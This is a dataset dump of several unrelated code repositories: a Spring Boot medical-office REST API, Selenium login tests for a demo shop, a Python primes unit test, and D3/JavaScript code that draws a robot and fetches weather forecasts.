branch_name stringclasses 149 values | text stringlengths 23 89.3M | directory_id stringlengths 40 40 | languages listlengths 1 19 | num_files int64 1 11.8k | repo_language stringclasses 38 values | repo_name stringlengths 6 114 | revision_id stringlengths 40 40 | snapshot_id stringlengths 40 40 |
|---|---|---|---|---|---|---|---|---|
refs/heads/master | <file_sep>package com.kronsoft.medicaloffice.controller;
import com.kronsoft.medicaloffice.dto.MedicalProcedureContentDTO;
import com.kronsoft.medicaloffice.dto.MedicalProcedureDTO;
import com.kronsoft.medicaloffice.service.MedicalProcedureService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.HttpStatus;
import org.springframework.web.bind.annotation.*;
import javax.validation.Valid;
import java.util.List;
@RestController
@CrossOrigin("https://app-medical-office.herokuapp.com")
public class MedicalProcedureController {
private MedicalProcedureService medicalProcedureService;
@Autowired
public MedicalProcedureController(MedicalProcedureService medicalProcedureService) {
this.medicalProcedureService = medicalProcedureService;
}
@PostMapping("/medical-procedures")
@ResponseStatus(HttpStatus.CREATED)
public MedicalProcedureDTO createMedicalProcedure(
@Valid @RequestBody MedicalProcedureContentDTO medicalProcedureContent) {
return medicalProcedureService.createMedicalProcedure(medicalProcedureContent);
}
@GetMapping("/medical-procedures/{id}")
public MedicalProcedureDTO getMedicalProcedure(@PathVariable("id") Long id) {
return medicalProcedureService.getMedicalProcedure(id);
}
@GetMapping("/medical-procedures")
public List<MedicalProcedureDTO> getAllMedicalProcedures() {
return medicalProcedureService.getAllMedicalProcedures();
}
@PutMapping("/medical-procedures/{id}")
@ResponseStatus(HttpStatus.NO_CONTENT)
public void updateMedicalProcedure(
@Valid @RequestBody MedicalProcedureContentDTO medicalProcedureContent,
@PathVariable("id") Long id) {
medicalProcedureService.updateMedicalProcedure(medicalProcedureContent, id);
}
@DeleteMapping("/medical-procedures/{id}")
@ResponseStatus(HttpStatus.NO_CONTENT)
public void deleteMedicalProcedure(@PathVariable("id") Long id) {
medicalProcedureService.deleteMedicalProcedure(id);
}
}
<file_sep>rootProject.name = 'medical-office'
<file_sep>plugins {
id 'org.springframework.boot' version '2.1.6.RELEASE'
id 'java'
}
apply plugin: 'io.spring.dependency-management'
group = 'com.kronsoft.medicaloffice'
version = '0.0.1-SNAPSHOT'
sourceCompatibility = '1.8'
repositories {
mavenCentral()
}
dependencies {
implementation 'org.springframework.boot:spring-boot-starter-data-jpa'
implementation 'org.springframework.boot:spring-boot-starter-web'
testImplementation 'org.springframework.boot:spring-boot-starter-test'
runtimeOnly 'org.postgresql:postgresql'
compile group: 'org.apache.httpcomponents', name: 'httpclient', version: '4.5.9'
testCompile group: 'com.h2database', name: 'h2', version: '1.4.199'
testCompile 'junit:junit:4.12'
compileOnly 'org.projectlombok:lombok:1.18.10'
annotationProcessor 'org.projectlombok:lombok:1.18.10'
}
task stage(dependsOn: ['build', 'clean'])
build.mustRunAfter clean
test {
exclude 'com/kronsoft/medicaloffice/**'
}<file_sep>spring.datasource.url=jdbc:h2:mem:test;
spring.datasource.username=sa
spring.datasource.password=
spring.datasource.driverClassName=org.h2.Driver
spring.jpa.database-platform=org.hibernate.dialect.H2Dialect
spring.jpa.hibernate.ddl-auto=create
<file_sep>package com.kronsoft.medicaloffice.dto;
import com.kronsoft.medicaloffice.persistence.entity.enums.Sex;
import lombok.AllArgsConstructor;
import lombok.Getter;
import lombok.NoArgsConstructor;
import lombok.Setter;
import java.util.List;
@Getter
@Setter
@NoArgsConstructor
@AllArgsConstructor
public class DoctorProcedureNamesDTO {
private Long id;
private String name;
private String cnp;
private Sex sex;
private String specialization;
private String phoneNumber;
private List<String> medicalProcedures;
}
<file_sep>package com.kronsoft.medicaloffice.dto;
import com.kronsoft.medicaloffice.persistence.entity.enums.Status;
import lombok.AllArgsConstructor;
import lombok.Getter;
import lombok.NoArgsConstructor;
import lombok.Setter;
import javax.validation.constraints.NotNull;
import java.time.LocalDateTime;
@Getter
@Setter
@NoArgsConstructor
@AllArgsConstructor
public class AppointmentUpdateDTO {
@NotNull private Status status;
@NotNull private LocalDateTime startTime;
@NotNull private LocalDateTime endTime;
private String description;
@NotNull private Long doctorId;
@NotNull private Long medicalProcedureId;
@NotNull private Long patientId;
}
<file_sep>package com.kronsoft.medicaloffice.dto;
import lombok.AllArgsConstructor;
import lombok.Getter;
import lombok.NoArgsConstructor;
import lombok.Setter;
import javax.validation.constraints.NotBlank;
import javax.validation.constraints.NotNull;
@Getter
@Setter
@NoArgsConstructor
@AllArgsConstructor
public class MedicalProcedureContentDTO {
@NotBlank private String name;
@NotNull private Double price;
private String description;
}
<file_sep>package com.kronsoft.medicaloffice.dto;
import com.kronsoft.medicaloffice.persistence.entity.enums.Sex;
import lombok.AllArgsConstructor;
import lombok.Getter;
import lombok.NoArgsConstructor;
import lombok.Setter;
import javax.validation.constraints.NotBlank;
import javax.validation.constraints.NotNull;
import javax.validation.constraints.Size;
@Getter
@Setter
@NoArgsConstructor
@AllArgsConstructor
public class DoctorUpdateContentDTO {
@NotBlank private String name;
@NotBlank
@Size(min = 13, max = 13)
private String cnp;
@NotNull private Sex sex;
private String specialization;
@NotBlank
@Size(max = 12)
private String phoneNumber;
}
<file_sep>package com.kronsoft.medicaloffice.controller;
import com.kronsoft.medicaloffice.dto.PatientContentDTO;
import com.kronsoft.medicaloffice.dto.PatientDTO;
import com.kronsoft.medicaloffice.service.PatientService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.HttpStatus;
import org.springframework.web.bind.annotation.*;
import javax.validation.Valid;
import java.util.List;
@RestController
@CrossOrigin("https://app-medical-office.herokuapp.com")
public class PatientController {
private PatientService patientService;
@Autowired
public PatientController(PatientService patientService) {
this.patientService = patientService;
}
@PostMapping("/patients")
@ResponseStatus(HttpStatus.CREATED)
public PatientDTO createPatient(@Valid @RequestBody PatientContentDTO patientContent) {
return patientService.createPatient(patientContent);
}
@GetMapping("/patients/{id}")
public PatientDTO getPatient(@PathVariable("id") Long id) {
return patientService.getPatient(id);
}
@GetMapping("/patients")
public List<PatientDTO> getPatients() {
return patientService.getAllPatients();
}
@PutMapping("/patients/{id}")
@ResponseStatus(HttpStatus.NO_CONTENT)
public void updatePatient(
@Valid @RequestBody PatientContentDTO patientContent, @PathVariable("id") Long id) {
patientService.updatePatient(patientContent, id);
}
@DeleteMapping("/patients/{id}")
@ResponseStatus(HttpStatus.NO_CONTENT)
public void deletePatient(@PathVariable("id") Long id) {
patientService.deletePatient(id);
}
}
<file_sep>package com.kronsoft.medicaloffice.controller;
import com.kronsoft.medicaloffice.dto.AppointmentContentDTO;
import com.kronsoft.medicaloffice.dto.AppointmentDTO;
import com.kronsoft.medicaloffice.dto.AppointmentUpdateDTO;
import com.kronsoft.medicaloffice.dto.AppointmentWithPatientInfoDTO;
import com.kronsoft.medicaloffice.service.AppointmentService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.HttpStatus;
import org.springframework.web.bind.annotation.*;
import javax.validation.Valid;
import java.util.List;
@RestController
@CrossOrigin("https://app-medical-office.herokuapp.com")
public class AppointmentController {
private AppointmentService appointmentService;
@Autowired
public AppointmentController(AppointmentService appointmentService) {
this.appointmentService = appointmentService;
}
@PostMapping("/patients/{id}/appointments")
@ResponseStatus(HttpStatus.CREATED)
public AppointmentDTO createAppointment(
@Valid @RequestBody AppointmentContentDTO appointmentContent,
@PathVariable("id") Long patientId) {
return appointmentService.createAppointment(appointmentContent, patientId);
}
@GetMapping("/patients/{id}/appointments/{appointmentId}")
public AppointmentDTO getAppointment(
@PathVariable("id") Long patientId, @PathVariable("appointmentId") Long appointmentId) {
return appointmentService.getAppointment(patientId, appointmentId);
}
@GetMapping("/patients/{id}/appointments")
public List<AppointmentDTO> getAllAppointments(@PathVariable("id") Long patientId) {
return appointmentService.getAllAppointments(patientId);
}
@GetMapping("/appointments")
public List<AppointmentWithPatientInfoDTO> getAllAppointmentsWithPatientInfo() {
return appointmentService.getAllAppointmentsWithPatientInfo();
}
@PutMapping("/patients/{id}/appointments/{appointmentId}")
@ResponseStatus(HttpStatus.NO_CONTENT)
public void updateAppointment(
@Valid @RequestBody AppointmentContentDTO appointmentContent,
@PathVariable("id") Long patientId,
@PathVariable("appointmentId") Long appointmentId) {
appointmentService.updateAppointmentFromPatient(appointmentContent, patientId, appointmentId);
}
@PutMapping("/appointments/{appointmentId}")
@ResponseStatus(HttpStatus.NO_CONTENT)
public void updateAppointment(
@PathVariable("appointmentId") Long appointmentId,
@Valid @RequestBody AppointmentUpdateDTO appointmentContent) {
appointmentService.updateAppointment(appointmentId, appointmentContent);
}
@DeleteMapping("/patients/{id}/appointments/{appointmentId}")
@ResponseStatus(HttpStatus.NO_CONTENT)
public void deleteAppointment(
@PathVariable("id") Long patientId, @PathVariable("appointmentId") Long appointmentId) {
appointmentService.deleteAppointment(patientId, appointmentId);
}
}
| 6f35417d25a8ca9da718c7eab9600e6b892c8e9d | [
"Java",
"INI",
"Gradle"
] | 10 | Java | ciurea-gabriela/medical-office | 7aa54e220629f41c9af525af4838b376ca20f232 | acbc4c66bb3a9f3d836ee9eeebc0800aab6905db |
refs/heads/master | <repo_name>elmedina1/SauceMaven<file_sep>/src/main/java/pages/LoginPage.java
package pages;
import org.openqa.selenium.By;
import org.openqa.selenium.WebDriver;
public class LoginPage {
//define driver object
private WebDriver driver;
//define locators
private By username = By.id("user-name");
private By password = By.id("<PASSWORD>");
private By submitBtn = By.className("btn_action");
// constructor
public LoginPage(WebDriver driver) {
// set driver define on class level to instance of driver that is passed
this.driver = driver;
}
//fill in username field
public void fillInUsername(String name) {
driver.findElement(username).sendKeys(name);
}
// fill in password
public void fillInPassword(String pass) {
driver.findElement(password).sendKeys(pass);
}
// click on Submit button. As action opens new page we need to return handler of that page
public DashboardPage clickSubmit() {
driver.findElement(submitBtn).click();
return new DashboardPage(driver);
}
// get page title
public String getPageTitle() {
return driver.getTitle();
}
}
<file_sep>/src/test/java/login/LoginTest.java
package login;
import java.util.concurrent.TimeUnit;
import org.openqa.selenium.Dimension;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.chrome.ChromeDriver;
import org.openqa.selenium.chrome.ChromeOptions;
import org.testng.Assert;
import org.testng.annotations.AfterClass;
import org.testng.annotations.BeforeClass;
import org.testng.annotations.Test;
import pages.DashboardPage;
import pages.LoginPage;
public class LoginTest {
private WebDriver driver;
// this will be run before class - it is precondition which needs to be executed before test start
@BeforeClass
public void setUp() {
System.setProperty("webdriver.chrome.driver", System.getProperty("user.dir")+"//executable//chromedriver.exe");
// set chrome to open in incognito mode by using ChromeOptions class
ChromeOptions option= new ChromeOptions();
option.addArguments("incognito");
// pass option object to ChromeDriver
driver= new ChromeDriver(option);
driver.manage().timeouts().implicitlyWait(5, TimeUnit.SECONDS);
//set browser size, but creating Dimension object
Dimension dim = new Dimension(1000, 700);
driver.manage().window().setSize(dim);
// open sauce demo page
driver.get("https://www.saucedemo.com/");
}
//test - Log in as normal user and log out
@Test
public void loginNormalUserAndLogOut () {
// create LoginPage object and pass driver to it
LoginPage login= new LoginPage(driver);
// use login object to access methods from LoginPage class
login.fillInUsername("standard_user");
login.fillInPassword("<PASSWORD>");
// when script click on submit button, user will be taken to new page, so we need to create object of that page, in order to access methods and fields from that method
DashboardPage dash = login.clickSubmit();
// assertion is done in Test Case
Assert.assertEquals(dash.getCurrentUrl(),"https://www.saucedemo.com/inventory.html", "User is on correct page");
//open left menu
dash.openMenu();
// logout will take user to new page so we need to create new object of that page
LoginPage login_new = dash.clickLogOut();
//assert that user is on correct page
String pageTitle= login_new.getPageTitle();
Assert.assertEquals(pageTitle, "Swag Labs", "User is on correct page");
}
@AfterClass
public void TearDown() {
driver.quit();
}
}
| cedb43f3736e63dd60b2627226f1ec221a428ac3 | [
"Java"
] | 2 | Java | elmedina1/SauceMaven | 168e0bbc29a7a235667e8e0445293b4eda8aef53 | 881f3ee41a1e5348178ce73eec3dda7b18e7eb9b |
refs/heads/master | <file_sep>"""
Unit tests for Primes package
"""
import unittest
from desc.primes import is_prime
class PrimesTestCase(unittest.TestCase):
"""
TestCase class for is_prime function.
"""
def test_two_is_prime(self):
"Test that two is prime."
self.assertTrue(is_prime(2))
def test_three_is_prime(self):
"Test that three is prime."
self.assertTrue(is_prime(3))
def test_four_is_not_prime(self):
"Test that four is not prime."
self.assertFalse(is_prime(4))
def test_five_is_prime(self):
"Test that five is prime."
self.assertTrue(is_prime(5))
def test_one_is_not_prime(self):
"Test that one is not prime."
self.assertFalse(is_prime(1))
def test_zero_is_not_prime(self):
"Test that zero is not prime."
self.assertFalse(is_prime(0))
def test_lt_zero_is_not_prime(self):
self.assertFalse(is_prime(-1))
if __name__ == '__main__':
unittest.main()
| 594aa738a40b1aaf900516794e55a86dc6131054 | [
"Python"
] | 1 | Python | jchiang87/my_Primes | bd306e0c9dfd6cd476c23094c072b73d9da18a18 | 643f9229677268d9276e4f9e32a71744f6eb958a |
refs/heads/master | <file_sep>function takeANumber(line, name) {
line.push(name)
return `Welcome, ${name}. You are number ${line.length} in line.`
}
function nowServing(line) {
if (line.length === 0)
return "There is nobody waiting to be served!"
return `Currently serving ${line.splice(0,1)}.`
}
function currentLine(line) {
if (line.length === 0)
return "The line is currently empty."
let str = 'The line is currently:'
for (let x = 0; x < line.length; x++) {
let suffix = (x === line.length - 1) ? '' : ','
str = str + ` ${x+1}. ${line[x]}${suffix}`
}
return str
}
| efdecd7b097473f1010c6c988d08da4b91ea1b52 | [
"JavaScript"
] | 1 | JavaScript | cwgabel/js-deli-counter-js-intro-000 | c32d22ca764befc02a070a251b1cd1476bb1b4f2 | 57a7a4651d72813efb9c09587fb4288681a45c5c |
refs/heads/master | <file_sep>
function loadRobotThree() {
var robotThreeGroup = svgContainer.append("g").attr("id", "robotThreeGroup");
robotThreeGroup.on('click', showKeyOptions);
var robotThreeGroupBody = robotThreeGroup.append("g");
var robotThreeGroupHead = robotThreeGroup.append("g").attr("id", "robotThreeGroupHead");
var robotThreeGroupDrumKit = robotThreeGroup.append("g").attr("id", "robotThreeGroupDrumKit");
var leftAntena = buildAndAppendPath(robotThreeGroupHead, buildLineData(440, 170, 415, 130), "#999999", 6, "leftAntenaGraph", "");
var leftAntenaCircle = buildAndAppendCircle(robotThreeGroupHead, 415, 130, 12, "leftAntenaCircle", "#e69500", 1);
var leftAntenaBoltData1 = buildXYPointObjectArray([[390, 130],[360,150],[340,130],[325,150],[315,130],[310,150]]);
var robotThreeLeftAntenaBoltLineGraph1 = buildAndAppendPath(robotThreeGroupHead, leftAntenaBoltData1, "white", 3, "robotThreeLeftAntenaBoltLineGraph1", "none");
var leftAntenaBoltData2 = buildXYPointObjectArray([[420, 110],[435,95],[425,75],[440,60],[430,50],[445,45]]);
var robotThreeLeftAntenaBoltLineGraph2 = buildAndAppendPath(robotThreeGroupHead, leftAntenaBoltData2, "white", 3, "robotThreeLeftAntenaBoltLineGraph2", "none");
var rightAntena = buildAndAppendPath(robotThreeGroupHead, buildLineData(560, 170, 585, 130), "#999999", 6, "rightAntenaGraph", "none");
var rightAntenaCircle = buildAndAppendCircle(robotThreeGroupHead, 585, 130, 12, "rightAntenaCircle", "#e69500", 1);
var rightAntenaBoltData1 = buildXYPointObjectArray([[610, 130],[635,150],[660,140],[685,160],[710,150],[735,170]]);
var robotThreeRightAntenaBoltLineGraph1 = buildAndAppendPath(robotThreeGroupHead, rightAntenaBoltData1, "white", 3, "robotThreeRightAntenaBoltLineGraph1", "none");
var rightAntenaBoltData2 = buildXYPointObjectArray([[585, 100],[600,75],[580,55],[600,40],[580,30],[600,15]]);
var robotThreeRightAntenaBoltLineGraph2 = buildAndAppendPath(robotThreeGroupHead, rightAntenaBoltData2, "white", 3, "robotThreeRightAntenaBoltLineGraph2", "none");
var robotThreeHead = buildAndAppendCircle(robotThreeGroupHead, 500, 285, 135, "robotThreeHead", "#ccffe5", 1);
var robotThreeHeadHide = buildAndAppendRect(robotThreeGroupHead, 366, 271, 268, 28, "robotThreeHeadHide", "white", 1);
var robotThreeSpeaker = buildAndAppendPath(robotThreeGroupHead, buildLineData(365, 285, 634, 285), "yellow", 30, "robotThreeSpeaker", "none");
var robotThreeHeadLeftEye = buildAndAppendCircle(robotThreeGroupHead, 440, 215, 20, "robotThreeHeadLeftEye", "white", 1);
var robotThreeHeadRightEye = buildAndAppendCircle(robotThreeGroupHead, 560, 215, 20, "robotThreeHeadRightEye", "white", 1);
var robotThreeHeadLeftEyePupil = buildAndAppendCircle(robotThreeGroupHead, 440, 215, 12, "robotThreeHeadLeftEyePupil", "black", 1);
var robotThreeHeadRightEyePupil = buildAndAppendCircle(robotThreeGroupHead, 560, 215, 12, "robotThreeHeadRightEyePupil", "black", 1);
var robotThreeBody = buildAndAppendRect(robotThreeGroupBody, 350, 300, 300, 200, "robotThreeBody", "#ccffe5", 1);
var robotThreeGroupLeftArm = robotThreeGroupBody.append("g");
var robotThreeLeftArm1 = buildAndAppendCircle(robotThreeGroupLeftArm, 320, 340, 30, "robotThreeLeftArm1", "#999999", 1);
var robotThreeLeftArm2 = buildAndAppendCircle(robotThreeGroupLeftArm, 270, 360, 30, "robotThreeLeftArm2", "#999999", 1);
var robotThreeleftArm3 = buildAndAppendCircle(robotThreeGroupLeftArm, 280, 380, 30, "robotThreeleftArm3", "#999999", 1);
var robotThreeLeftArmHand = buildAndAppendCircle(robotThreeGroupLeftArm, 290, 400, 35, "robotThreeLeftArmHand", "#e69500", 1);
var robotThreeLeftArmHandHide = buildAndAppendCircle(robotThreeGroupLeftArm, 310, 400, 30, "robotThreeLeftArmHandHide", "white", 1);
var leftDrumStick = buildAndAppendPath(robotThreeGroupDrumKit, buildLineData(280, 390, 430, 369), "#f2ca7f", 8, "leftDrumStick", "none");
var robotThreeGroupRightArm = robotThreeGroupBody.append("g").attr("id", 'robotThreeGroupRightArm');
var robotThreeRightArm1 = buildAndAppendCircle(robotThreeGroupRightArm, 680, 340, 30, "robotThreeRightArm1", "#999999", 1);
var robotThreeRightArm2 = buildAndAppendCircle(robotThreeGroupRightArm, 670, 400, 30, "robotThreeRightArm2", "#999999", 1);
var robotThreeRightArm3 = buildAndAppendCircle(robotThreeGroupRightArm, 620, 420, 30, "robotThreeRightArm3", "#999999", 1);
var robotThreeRightArmHand = buildAndAppendCircle(robotThreeGroupRightArm, 560, 420, 35, "robotThreeRightArmHand", "#e69500", 1);
var robotThreeRightArmHandHide = buildAndAppendCircle(robotThreeGroupRightArm, 545, 425, 30, "robotThreeRightArmHandHide", "#ccffe5", 1);
var rightDrumStick = buildAndAppendPath(robotThreeGroupDrumKit, buildLineData(575, 425, 410, 340), "#f2ca7f", 8, "rightDrumStick", "none");
var robotThreeGroupDrumKitSnare = buildAndAppendRect(robotThreeGroupDrumKit, 300, 355, 250, 100, "robotThreeGroupDrumKitSnare", "#ccc", 1);
robotThreeGroupDrumKitSnare.attr("stroke", "black").attr("stroke-width", 2).attr("transform", "rotate(10)");
var snareStand = buildAndAppendPath(robotThreeGroupDrumKit, buildLineData(335, 518, 335, 720), "black", 3, "snareStand", "none");
var snareStandLeftLeg = buildAndAppendPath(robotThreeGroupDrumKit, buildLineData(335, 720, 280, 760), "black", 3, "snareStandLeftLeg", "none");
var snareStandRightLeg = buildAndAppendPath(robotThreeGroupDrumKit, buildLineData(335, 720, 390, 760), "black", 3, "snareStandRightLeg", "none");
var cymbalStand = buildAndAppendPath(robotThreeGroupDrumKit, buildLineData(685, 358, 685, 720), "black", 3, "cymbalStand", "none");
var cymbalStandLeftLeg = buildAndAppendPath(robotThreeGroupDrumKit, buildLineData(685, 720, 630, 760), "black", 3, "cymbalStandLeftLeg", "none");
var cymbalStandRightLeg = buildAndAppendPath(robotThreeGroupDrumKit, buildLineData(685, 720, 740, 760), "black", 3, "cymbalStandRightLeg", "none");
var cymbal = robotThreeGroupDrumKit.append("ellipse")
.attr("cx", 610)
.attr("cy", 490)
.attr("rx", 160 )
.attr("ry", 30 )
.attr("id", "cymbal")
.attr("transform", "rotate(-10)")
.style("fill", "gold");
var kickStandLeftLeg = buildAndAppendPath(robotThreeGroupDrumKit, buildLineData(445, 720, 400, 760), "black", 3, "kickStandLeftLeg", "none");
var kickStandRightLeg = buildAndAppendPath(robotThreeGroupDrumKit, buildLineData(555, 720, 600, 760), "black", 3, "kickStandRightLeg", "none");
var robotThreeGroupDrumKitKick = buildAndAppendCircle(robotThreeGroupDrumKit, 500, 600, 160, "robotThreeGroupDrumKitKick", "#ccc", 1);
robotThreeGroupDrumKitKick.attr("stroke", "black").attr("stroke-width", 2);
var robotThreeGroupDrumKitKickTextJokeBot = robotThreeGroupDrumKit.append("text").text("JokeBot")
.attr("x", 265)
.attr("y", 680)
.attr("font-family", "sans-serif")
.attr("font-size", "60px")
.attr("fill", "white")
.style("font-weight", "bold")
.attr("transform", "rotate(-10)");
var robotThreeGroupDrumKitKickText5000 = robotThreeGroupDrumKit.append("text").text("5000")
.attr("x", 320)
.attr("y", 740)
.attr("font-family", "sans-serif")
.attr("font-size", "60px")
.attr("fill", "white")
.style("font-weight", "bold")
.attr("transform", "rotate(-10)");
robotThreeGroup.attr("transform", "scale(.35)translate(100, 125)");
}
<file_sep>function loadWeatherDisplay() {
var weatherDisplayGroup = svgContainer.append("g").attr("id", "weatherDisplayGroup");
var weatherLogo = weatherDisplayGroup.selectAll("image").data([0]);
weatherLogo.enter()
.append("svg:image")
.attr("xlink:href", "http://icons.wxug.com/graphics/wu2/logo_130x80.png")
.attr("x", "960")
.attr("y", "50")
.attr("width", "130")
.attr("height", "80")
.attr("opacity", "0")
.attr("id", "weatherLogo");
var weatherLogoIntro = weatherDisplayGroup.append("text").text("Today's weather brought to you by")
.attr("x", 730)
.attr("y", 110)
.attr("font-family", "sans-serif")
.attr("font-size", "15px")
.attr("fill", "grey")
.style("font-weight", "normal")
.attr("opacity", 0)
.attr("id", "weatherLogoIntro");
var currentWeatherIcon = weatherDisplayGroup.selectAll("image").data([0]);
weatherLogo.enter()
.append("svg:image")
.attr("xlink:href", "http://icons.wxug.com/graphics/wu2/logo_130x80.png")
.attr("x", 730)
.attr("y", 120)
.attr("width", "130")
.attr("height", "80")
.attr("opacity", "0")
.attr("id", "currentWeatherIcon");
var currentTemperature = weatherDisplayGroup.append("text").text("placeHolder")
.attr("x", 930)
.attr("y", 170)
.attr("font-family", "sans-serif")
.attr("font-size", "30px")
.attr("fill", "grey")
.style("font-weight", "normal")
.attr("opacity", 0)
.attr("id", "currentTemperature");
var forecast1Icon = weatherDisplayGroup.selectAll("image").data([0]);
weatherLogo.enter()
.append("svg:image")
.attr("xlink:href", "http://icons.wxug.com/graphics/wu2/logo_130x80.png")
.attr("x", 570)
.attr("y", 230)
.attr("width", "65")
.attr("height", "40")
.attr("opacity", "0")
.attr("id", "forecast1Icon");
var forecast1Line1 = weatherDisplayGroup.append("text").text("placeHolder")
.attr("x", 640)
.attr("y", 250)
.attr("font-family", "sans-serif")
.attr("font-size", "12px")
.attr("fill", "grey")
.style("font-weight", "normal")
.attr("opacity", 0)
.attr("id", "forecast1Line1");
var forecast1Line2 = weatherDisplayGroup.append("text").text("placeHolder")
.attr("x", 640)
.attr("y", 270)
.attr("font-family", "sans-serif")
.attr("font-size", "12px")
.attr("fill", "grey")
.style("font-weight", "normal")
.attr("opacity", 0)
.attr("id", "forecast1Line2");
var forecast2Icon = weatherDisplayGroup.selectAll("image").data([0]);
weatherLogo.enter()
.append("svg:image")
.attr("xlink:href", "http://icons.wxug.com/graphics/wu2/logo_130x80.png")
.attr("x", 570)
.attr("y", 290)
.attr("width", "65")
.attr("height", "40")
.attr("opacity", "0")
.attr("id", "forecast2Icon");
var forecast2Line1 = weatherDisplayGroup.append("text").text("placeHolder")
.attr("x", 640)
.attr("y", 310)
.attr("font-family", "sans-serif")
.attr("font-size", "12px")
.attr("fill", "grey")
.style("font-weight", "normal")
.attr("opacity", 0)
.attr("id", "forecast2Line1");
var forecast2Line2 = weatherDisplayGroup.append("text").text("placeHolder")
.attr("x", 640)
.attr("y", 330)
.attr("font-family", "sans-serif")
.attr("font-size", "12px")
.attr("fill", "grey")
.style("font-weight", "normal")
.attr("opacity", 0)
.attr("id", "forecast2Line2");
var forecast3Icon = weatherDisplayGroup.selectAll("image").data([0]);
weatherLogo.enter()
.append("svg:image")
.attr("xlink:href", "http://icons.wxug.com/graphics/wu2/logo_130x80.png")
.attr("x", 570)
.attr("y", 490)
.attr("width", "65")
.attr("height", "40")
.attr("opacity", "0")
.attr("id", "forecast3Icon");
var forecast3Line1 = weatherDisplayGroup.append("text").text("placeHolder")
.attr("x", 640)
.attr("y", 510)
.attr("font-family", "sans-serif")
.attr("font-size", "12px")
.attr("fill", "grey")
.style("font-weight", "normal")
.attr("opacity", 0)
.attr("id", "forecast3Line1");
var forecast3Line2 = weatherDisplayGroup.append("text").text("placeHolder")
.attr("x", 640)
.attr("y", 530)
.attr("font-family", "sans-serif")
.attr("font-size", "12px")
.attr("fill", "grey")
.style("font-weight", "normal")
.attr("opacity", 0)
.attr("id", "forecast3Line2");
var forecast4Icon = weatherDisplayGroup.selectAll("image").data([0]);
weatherLogo.enter()
.append("svg:image")
.attr("xlink:href", "http://icons.wxug.com/graphics/wu2/logo_130x80.png")
.attr("x", 570)
.attr("y", 550)
.attr("width", "65")
.attr("height", "40")
.attr("opacity", "0")
.attr("id", "forecast4Icon");
var forecast4Line1 = weatherDisplayGroup.append("text").text("placeHolder")
.attr("x", 640)
.attr("y", 570)
.attr("font-family", "sans-serif")
.attr("font-size", "12px")
.attr("fill", "grey")
.style("font-weight", "normal")
.attr("opacity", 0)
.attr("id", "forecast4Line1");
var forecast4Line2 = weatherDisplayGroup.append("text").text("placeHolder")
.attr("x", 640)
.attr("y", 590)
.attr("font-family", "sans-serif")
.attr("font-size", "12px")
.attr("fill", "grey")
.style("font-weight", "normal")
.attr("opacity", 0)
.attr("id", "forecast4Line2");
buildForcastSection(weatherDisplayGroup, weatherLogo, 3, 570, 500);
}
var buildForcastSection = function(weatherDisplayGroup, weatherLogo, index, xPos, yPos){
weatherDisplayGroup.selectAll("image").data([0]);
weatherLogo.enter()
.append("svg:image")
.attr("xlink:href", "http://icons.wxug.com/graphics/wu2/logo_130x80.png")
.attr("x", xPos)
.attr("y", yPos)
.attr("width", "65")
.attr("height", "40")
.attr("opacity", "0")
.attr("id", "forecast" + index + "Icon");
weatherDisplayGroup.append("text").text("placeHolder")
.attr("x", xPos + 70)
.attr("y", yPos + 20)
.attr("font-family", "sans-serif")
.attr("font-size", "12px")
.attr("fill", "grey")
.style("font-weight", "normal")
.attr("opacity", 0)
.attr("id", "forecast" + index + "Line1");
weatherDisplayGroup.append("text").text("placeHolder")
.attr("x", xPos + 70)
.attr("y", yPos + 40)
.attr("font-family", "sans-serif")
.attr("font-size", "12px")
.attr("fill", "grey")
.style("font-weight", "normal")
.attr("opacity", 0)
.attr("id", "forecast" + index + "Line2");
}
<file_sep>var currentConditions = {};
var forecast = {};
var geolookup = {};
var lastUpdate = '';
var weatherResponse = '';
var getWeather = function(callBack) {
var updateWeather = function(callBack) {
$.ajax({
url : "http://api.wunderground.com/api/" + config.weatherAPIKey + "/geolookup/conditions/q/" + config.weatherState + '/' + config.weatherCity + ".json",
dataType : "jsonp",
success : function(parsed_json) {
console.log('parsed_json', parsed_json);
currentConditions = parsed_json;
$.ajax({
url : "http://api.wunderground.com/api/" + config.weatherAPIKey + "/forecast/q/" + config.weatherState + '/' + config.weatherCity + ".json",
dataType : "jsonp",
success : function(parsed_json) {
console.log('parsed_json', parsed_json);
forecast = parsed_json;
$.ajax({
url : "http://api.wunderground.com/api/" + config.weatherAPIKey + "/geolookup/q/" + config.weatherState + '/' + config.weatherCity + ".json",
dataType : "jsonp",
success : function(parsed_json) {
console.log('parsed_json', parsed_json);
geolookup = parsed_json;
buildResponse();
callBack(weatherResponse);
}
});
}
});
}
});
}
var buildResponse = function() {
weatherResponse = 'Currently in ' + currentConditions['location']['city']
+ ' the weather is ' + currentConditions['current_observation']['weather']
+ ' with temperature at ' + currentConditions['current_observation']['temp_f'] + ' degrees.'
+ ' Winds ' + currentConditions['current_observation']['wind_string'];
console.log('original response', weatherResponse);
weatherResponse = translateWeatherText(weatherResponse);
}
if (!lastUpdate || lastUpdate + 600000 < (new Date()).getTime()) {
updateWeather(callBack);
//buildResponse();
lastUpdate = (new Date()).getTime();
console.log('new weatherResponse', weatherResponse);
return;
} else {
console.log('old weatherResponse', weatherResponse);
callBack(weatherResponse);
return;
}
}
var translateWeatherText = function(weatherResponse) {
weatherResponse = weatherResponse.replace(/MPH/g, 'miles per hour');
weatherResponse = translateNumerics(weatherResponse);
weatherResponse = translateWindDirection(weatherResponse);
return weatherResponse;
}
// Finds numbers in the text
// Converts those numbers to text (ex 91.2 to ninety-one point two)
var translateNumerics = function(weatherResponse) {
var charArray = weatherResponse.split('');
var numbers = [];
for (var i = 0; i < charArray.length; i++) {
var numberChars = [];
var indexIncrease = 0;
if (isNumeric(charArray[i])) {
numberChars.push(charArray[i]);
indexIncrease++;
indexIncrease = processCharacter(charArray, i, indexIncrease, numberChars);
}
i = i + indexIncrease;
if(numberChars.length > 0) {
numbers.push(numberChars);
}
}
var replacements = [];
for (var i = 0; i < numbers.length; i++) {
replacements = findReplacementText(numbers[i], replacements);
}
for (var i = 0; i < replacements.length; i++) {
weatherResponse = weatherResponse.replace(replacements[i][0], replacements[i][1]);
}
return weatherResponse;
}
/**
* translate number array into text then add to replacements
* @param {Array} number array of characters including period (ex array of chars for 93.6)
* @param {Array} replacements array containing original number plus text replacement
* @return {Array} replacements
*/
var findReplacementText = function(number, replacements) {
var prePeriod = '';
var postPeriod = '';
var periodFound = false;
var originalNumber = '';
